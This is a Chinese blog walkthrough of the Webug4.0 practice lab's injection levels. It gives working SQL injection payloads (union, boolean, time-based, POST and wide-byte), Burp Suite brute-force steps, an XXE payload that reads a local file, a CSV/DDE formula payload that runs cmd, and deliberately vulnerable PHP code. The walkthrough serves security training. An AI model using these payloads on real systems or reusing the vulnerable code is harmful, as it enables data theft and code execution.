目录

显错注入

布尔注入

延时注入

post注入

过滤注入

宽字节注入

xxe注入

csv注入


注:靶场搭建已经在上一篇文章中做了详细的阐述

显错注入

根据有没有sql语法报错,判断sql语句是否执行成功。

打开显错注入靶场,在这里,我使用的是hackbar插件工具,大家做的时候可以直接在url栏中构造payload。url栏和hackbar中构造的效果是一样的。

1.尝试在url后面拼接单双引号,观察页面变化。当拼接单引号时,发现页面报错,

由此判断,后台的sql语句是由单引号闭合的。

2.使用order by猜解字段,

' order by 2 --+
' order by 3 --+

当使用' order by 3 --+时报错,使用' order by 2 --+时不报错,可以判断出该数据表有两个字段值。

3.联合查询判断爆数据表的值,

-1' union select 1,2 --+           //判断显示位置-1' union select 1,database() --+  //查询数据库名  --webug-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="webug" --+           //查询webug数据库中的数据表名  --data_crud,env_list,env_path,flag,sqlinjection,user,user_test -1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag" --+    //查询flag表中的字段名  --id,flag-1' union select 1,group_concat(id,"-",flag) from webug.flag --+  //查询字段值  --1-dfafdasfafdsadfa 

提交flag:dfafdasfafdsadfa

布尔注入

根据页面能否正常显示,判断sql语句是否执行成功。

SUBSTR函数作用:SUBSTR函数是用来截取数据库某一列字段中的一部分;语法,SUBSTR(str,pos,len);就是从pos开始的位置,截取len个字符(空白也算字符)。

后台sql语句执行出错,页面就不正常显示,如图

后台sql语句执行无误,页面就正常显示,如图

payload如下:

?id=-1' or length(database())=5 --+   //判断数据库名的长度
?id=-1' or substr(database(),1,1)="a" --+  //判断数据库名每个位置的字母,建议使用burpsuite中的爆破模块
?id=-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1)="a" --+     //猜解数据表名
?id=-1' or substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1)="i" --+     //猜解webug数据库下,flag表中的字段名
?id=-1' or substr((select group_concat(flag) from webug.flag),1,1)="1" --+  //猜解字段值

布尔盲注时,建议使用burpsuite中的爆破模块,

第一步,浏览器设置代理到burpsuite,火狐浏览器--设置--常规,网络设置--勾选手动配置代理,如下图所示

第二步,打开burpsuite,proxy模块开启拦截,然后在火狐访问http://(靶场ip)/webug/control/sqlinject/bool_injection.php?id=-1' or length(database())=5 --+,此时在burpsuite的proxy模块会拦截到数据包,

第三步,右击send to intruder,将拦截到的数据包发送到爆破模块,首先点击右侧的clear §,清除所有的变量符,然后选中长度的值,点击右侧add §,将长度值设置为变量,

第四步,切换到payloads模式下,在payload sets中将payload type设置为numbers,在payload options中设置from 1,to 10,step 1,点击start attack开始爆破。

爆破成功,正确的值,length值跟别的不一样,

由此可知,数据库名的长度为5,

接下来爆破数据库名,

第一步,浏览器设置代理到burpsuite,火狐浏览器--设置--常规,网络设置--勾选手动配置代理,如下图所示

第二步,打开burpsuite,proxy模块开启拦截,然后在火狐访问http://(靶场ip)/webug/control/sqlinject/bool_injection.php?id=-1' or substr(database(),1,1)="a" --+,此时在burpsuite的proxy模块会拦截到数据包,

第三步,右击send to intruder,将拦截到的数据包发送到爆破模块,首先点击右侧的clear §,清除所有的变量符。然后选中substr()函数的第二个值,点击右侧add §,将数据库名要爆破的起始位置的值设置为变量。再选中双引号中的字母,点击右侧add §,将数据库名在该位置的值设置为变量。切记在多个变量的情况下,将attack type设置为cluster bomb

第四步,切换到payloads模式下,在payload set中将payload set选为1,给第一个变量设置字典,在payload set中将payload type设置为numbers,在payload options中设置from 1,to 10,step 1;在payload set中将payload set选为2,给第二个变量设置字典,在payload set中将payload type设置为simple list,在payload options中,add from list中选中a-z;点击start attack开始爆破。

爆破成功,数据表名为webug。

接着爆破表明,字段,字段值,步骤跟爆破数据库名时一样。

最终得到flag为:fdsafsdfa

延时注入

延时注入,使用if()、sleep()函数,根据sleep函数的参数值,观察页面是否在对应时间之后加载成功,

IF函数作用:语法,IF(expr1,expr2,expr3) ;expr1 的值为 TRUE,则返回值为 expr2;expr1 的值为FALSE,则返回值为 expr3;其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。

?id=1' and if((length(database())=1),sleep(5),1) --+    //判断数据库名的长度,若数据库名的长度正确,则页面将会在5s之后加载成功。
?id=1' and if((substr(database(),1,1)="a"),sleep(5),1) --+    //猜解数据库名, --webug
?id=1' and if(((substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1))="a"),sleep(5),1) --+   //猜解数据表名
?id=1' and if(((substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1))="a"),sleep(5),1) --+    //猜解字段名
?id=1' and if(((substr((select flag from webug.flag),1,1))="a"),sleep(5),1) --+ //猜解字段值

细心的同学可能会发现,在上一个布尔注入是,我用的是?id=-1' or,在这里我用的是?id=1' and,其实这两种都可以。

or表示或关系,两者只要有一个为真或者两者全为真,则正确返回,在or关系中特意将id=1改为id=-1,将id值强行变为假(id=-1是不存在的),所以只有后面拼接的sql语句为真是,页面正常返回。

and表示与关系。只有当两者全为真时,页面正常返回,所以在and中id=1为真,只有后面拼接的sql语句为真是,页面正常返回。

使用burpsuite爆破,同上布尔注入。flag为:gfdgdfsdg

post注入

post注入,首先了解post传参方式,post传的参数在http请求的请求体中。本关我们在这里使用burpsuite代理拦截,将拦截到的请求体中的字段值复制下来,在浏览时是用hackbar插件来进行sql注入,将复制下来的字段值粘贴到post输入框中,接下来就开始大战拳脚吧!!!

本关为post注入,首先观察整个页面,发现只有搜索框的位置可以触发页面响应,于是,我们先输入正常字符1,发现页面只是刷新,并没有其他动作,然后输入单引号,发现页面会报sql语法错误,输入双引号,则只是简单的刷新页面,所以我们初步判断,该处后台的sql语句是由单引号闭合的。

接着在单引号后输入#,发现页面正常显示,输入之前的--+也报sql语法错误,这里有一点需要记住,在post注入中是用#来注释的。

接下来就上“三板斧”,第一步判断字段是数:

keyWordName=1' order by 1 #     //页面正常显示
keyWordName=1' order by 2 #     //页面正常显示
keyWordName=1' order by 3 #     //页面报sql语法错误,由此断定,该处数据表有两个字段

第二步判断注入方式:首先,可以确定,这里不能使用union select联合查询,因为联合查询条件是单引号前面得构造报错,联合查询才会起作用,这里的注入点是搜索框,不方便构造报错。所以联合注入不可行。其次布尔注入也不行,因为页面不会变化。再来试试延时注入:

keyWordName=1' or sleep(5) #      //发现页面会延时显示,本关中我们使用延时注入。
keyWordName=1' or if(length(database())=5,sleep(5),1) #    //判断数据库名的长度
keyWordName=1' or if(substr(database(),1,1)="w",sleep(5),1) #   //猜解数据库名,
keyWordName=1' or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1))="a"),sleep(5),1) #    //猜解数据表名
keyWordName=1' or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1))="a"),sleep(5),1) #       //猜解字段名
keyWordName=1' or if(((substr((select flag from webug.flag),1,1))="a"),sleep(5),1) #    //猜解字段值

因为猜解时是挨个字母猜解,所以我们还是使用burpsuite中的intruder模块辅助进行,在上面的关卡中有详细的步骤,这里不做过多的赘述。

最终flag为:dsfasdczxcg

过滤注入

本关中,过滤了select字符串,当我们单独输入select时,页面会出现警告弹窗。

经过测试,发现除了单独的select,其他的字符串都没有被过滤,

本关站点跟post注入站点相同,使用跟post注入一样的注入方式,最终得到flag为:safsafasdfasdf

宽字节注入

加个单引号,页面没有报错,反而多了一个转义符(反斜杠)

当传入id=1’时,传入的单引号被转义符转义,导致参数ID无法逃逸单引号的包围,所以在一般情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后加一个%df,再加单引号,因为反斜杠的url编码为%5c,而在GBK编码中,%df%5c是一个繁体字(我打不出来。),所以这时,单引号成功逃逸,爆出Mysql数据库的错误

这时就符合SQL语句了,按照显错注入来就行

最终得到flag为:dfsadfsadfas

xxe注入

xxe漏洞:XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具体结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义,文档元素。

xxe语法结构:

<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>            文档定义类型(DATA)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body>            文档元素
</note>内部声明DTD格式:
引用外部DTD格式:
在DTD中进行实体声明时,将使用ENTITY关键词来声明,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明,如下所示
内部声明实体格式:<!ENTITY 实体名称 "实体的值">
引用外部实体格式:<!ENTITY 实体名称 SYSTEMT "URL">

本关中由于靶场环境原因,需要我们自己在c盘更目录下新建一个flag.txt文档,

构造xml用于读取flag文件:

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY B SYSTEM "file:///c:/flag.txt">
]>
<xml><xxe>&B;</xxe>
</xml>

由于xml语句中存在换行,所以我们需要将此payload用url编码进行编码。

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%42%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%66%6c%61%67%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%0a%20%20%20%20%3c%78%78%65%3e%26%42%3b%3c%2f%78%78%65%3e%0a%3c%2f%78%6d%6c%3e

接下来我们开始XXE漏洞的任意文件读取,首先开启burpsuite代理拦截,在靶场页面输入框随便输入字符,burpsuite拦截到之后,右击send to repeater,在repeater模块中,将请求体中的date=之后的内容,换成刚刚我们编码好的payload,再点击send发送报文,

在回应包中会含有我们所读取文件的内容。

最终的flag为:ddfasdfsafsadfsd

csv注入

这个靶场环境有问题,首先我们需要把网站根目录下的control\sqlinject里的csv_vuln.php文件中的内容替换为以下内容:

<?php$conn = mysqli_connect('localhost', 'root', 'root', 'webug');if ($conn) {$sql = "select * from data_crud";$res = $conn->query($sql);}if (isset($_POST['daochu'])){$headerArray = ['name','age','email'];$string = implode(",",$headerArray)."\n";//先做出表头while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){$data = [['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]];foreach ($data as $key => $value) {//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;$outArray['name'] = $value['name'];$outArray['age'] = $value['age'];$outArray['email'] = $value['email'];$string .= implode(",",$outArray)."\n"; //用英文逗号分开 }}@$filename = date('Ymd').'.csv'; //设置文件名header("Content-type:text/csv");header("Content-Disposition:attachment;filename=".$filename);header('Cache-Control:must-revalidate,post-check=0,pre-check=0');header('Expires:0');header('Pragma:public');exit(mb_convert_encoding($string, "GBK", "UTF-8"));}
?><?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
?>
<!doctype html>
<html><head><meta charset="utf-8"><title></title>
</head>
<style>body{font-family: Arial, Helvetica, sans-serif;}table{border-collapse: collapse;width: 50%;text-align: center;}td,th{border:1px solid #ccc; padding: 2px 5px;}button{padding: 5px;}div {line-height: 3;}
</style>
<body>
<?php$conn = mysqli_connect('localhost', 'root', 'root', 'webug');$i_name =  urlencode($_POST[name]);$i_age =  urlencode($_POST[age]);$i_email =  urlencode($_POST[email]);if ($conn) {if ($i_name != null && $i_age != null && $i_email != null){$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";$res = $conn->query($sql);}}if ($conn) {$sql = "select * from data_crud";$res = $conn->query($sql);}
?><table id="table"><tr><th>Name</th><th>Age</th><th>Email</th></tr><?phpif ($res) {while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){echo '<tr>';echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';echo  '<td><div contenteditable="true">'.urldecode($email).'</div></td>';echo '</tr>';}}?></table><form action="#" method="post"><input name="daochu" type="submit" value="导出"/></form><br><h2>添加新用户信息</h2>
<form action="#" method="post"><table id="table"><tr><td>Name</td><td>Age</td><td>Email</td></tr><tr><td><input name="name" type="text" size="20"/></td><td><input name="age" type="text" size="20"/></td><td><input name="email" type="text" size="20"/></td></tr></table><div><input name="submit" type="submit" value="确认添加"/></form></div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script><script>var tableToExcel = new TableToExcel();document.getElementById('button').onclick = function () {tableToExcel.render("table");};</script>
</html>

内容改完之后,还需要将小皮面板中的php版本改为5.4.45。

改完以上内容,该靶场就可以使用了,

csv注入:CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

cvs注入的原理是:当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。例如:在表格中输入格式:=cmd|' /C calc'!A0,执行cmd弹出计算器。会有弹框的,当点击是之后,会弹出计算机,

DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换 。

言归正传,我们接着聊这个靶场,接下来,我们在靶场页面添加新用户信息中,输入=1+cmd|' /C calc'!A0,添加之后,点击导出,

然后打开导出的csv文件,如果受害者盲目点是,不看提示的话,就会中招,将会打开计算机窗口。

至此,webug靶场中关于注入的过关秘籍已更新完毕,读者有不明白的地方,请将疑惑发在评论区,我会统一回复的,

Webug4.0靶场过关--注入相关推荐

  1. Webug4.0靶场搭建

    目录 前期准备 环境搭建 靶场配置 前期准备 windows server服务器虚拟机,小皮面板(https://www.xp.cn/windows-panel.html),webug4.0靶场(ht ...

  2. Webug4.0靶场通关

    14.Webug4.0靶场通关 显错注入 首先整体浏览网站 注入点: control/sqlinject/manifest_error.php?id=1 判断注入类型 输入: and 1=1 正常, ...

  3. webug4.0之xxe注入

    关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...

  4. Windows 10系统下WeBug4.0靶场搭建

    最近在搭建webug4.0靶场时遇到一些蒙圈的问题,由于很长时间没有搭建过靶场了,在此简单记录一下. 资源链接:https://pan.baidu.com/s/1q8yKkmMALJsuvLegZq9 ...

  5. webug4.0之sql注入篇

    目录 一. 显错注入 二. 布尔盲注 三. 延时注入 四. post注入 五. 过滤注入 六. 宽字节注入 一. 显错注入 1. 页面观察 输入id=1和id=2页面,页面显示不同,所以可以判断此变化 ...

  6. webug4.0靶场之SSRF

    0x00 SSRF测试 简单测试一下,包括下列内容: 使用file协议获取 探测内网端口 进入靶场直接404?? 修改下URL的路径进入首页 0x01 使用file协议读取 使用file协议获取C盘的 ...

  7. webug4.0靶场之越权查看admin

    0x00 准备工作 将/control/auth_cross/email.php文件的第16行改为以下代码 0x01 测试过程 从关我们知道了有两个账户,既然是越权查看admin,那我们就用aaaaa ...

  8. docker搭建webug4.0漏洞靶场

    webug4.0 WeBug 名称定义为"我们的漏洞"靶场环境 ,基础环境是基于 PHP/mysql 制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作 ...

  9. Pikachu靶场-SQL注入-搜索型注入过关步骤

    Pikachu靶场-SQL注入-搜索型注入过关步骤 首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了 判断注入点 ...

最新文章

  1. 【源资讯 第37期】一个时代的终结 —— 再见, Flash !
  2. 【oracle】关于处理小数点位数的几个oracle函数
  3. 使用.NET Core 编写端到端测试
  4. 我不是bug神(JVM问题排查)
  5. [2005/05/03] 卡耐基选语
  6. Kronos Research推出结合WOO质押机制的新资管产品规模已达1500万美元
  7. 2022年计算机软件水平考试程序员(初级)练习题及答案
  8. koa2 mysql项目教程_blogs: Node.js + Koa2 + MySQL + Vue.js 实战开发一套完整个人博客项目网站...
  9. python 会议室预约系统解决方案_快思聪FUSION会议预约系统
  10. boobooke视频汇总
  11. CEO陈睿多措施并举,为B站的创新发展护航
  12. win10 win11 创建共享文件夹 mac 苹果电脑共享 无internet 安全,你的电脑只能访问本地网络中的其它设备 共享文件夹会导致本地电脑无法上网,
  13. 基于java的URP教务系统爬虫实现
  14. 盘点为下个牛市做准备的10个新Layer1
  15. wifi叹号android,Wifi出现感叹号怎么解决 Wifi故障解决方法【步骤】
  16. VIO中IMU选型与数据处理
  17. 模拟IIC读取SHT30温湿度传感器数据
  18. python:实现叠加图片(附完整源码)
  19. 濡沫江湖一直显示获取服务器列表失败,濡沫江湖存档如何获取?游戏存档获取方法图文分享...
  20. java upnp 端口映射_路由器 UPnP设置与端口映射操作步骤合集 几种常用猫设置

热门文章

  1. C/C++ “undefined reference to XXX“问题总结
  2. 产融结合的七个进阶形态(上)
  3. Elasticsearch配置jieba分词分析器
  4. 美国海关称区块链生物识别技术可用于旅行安全
  5. python: No module named pip解决
  6. 响应式编程 函数式编程_函数式编程简介
  7. python 图片识别 机械手_6图片识别物品_清华编程高手尹成带你用python大战机器学习_机器学习视频-51CTO学院...
  8. [书目20091005]易经回答人生的64个感悟
  9. 光模块的传输距离如何得出?
  10. vue中.sync修饰符与自定义组件的v-model的使用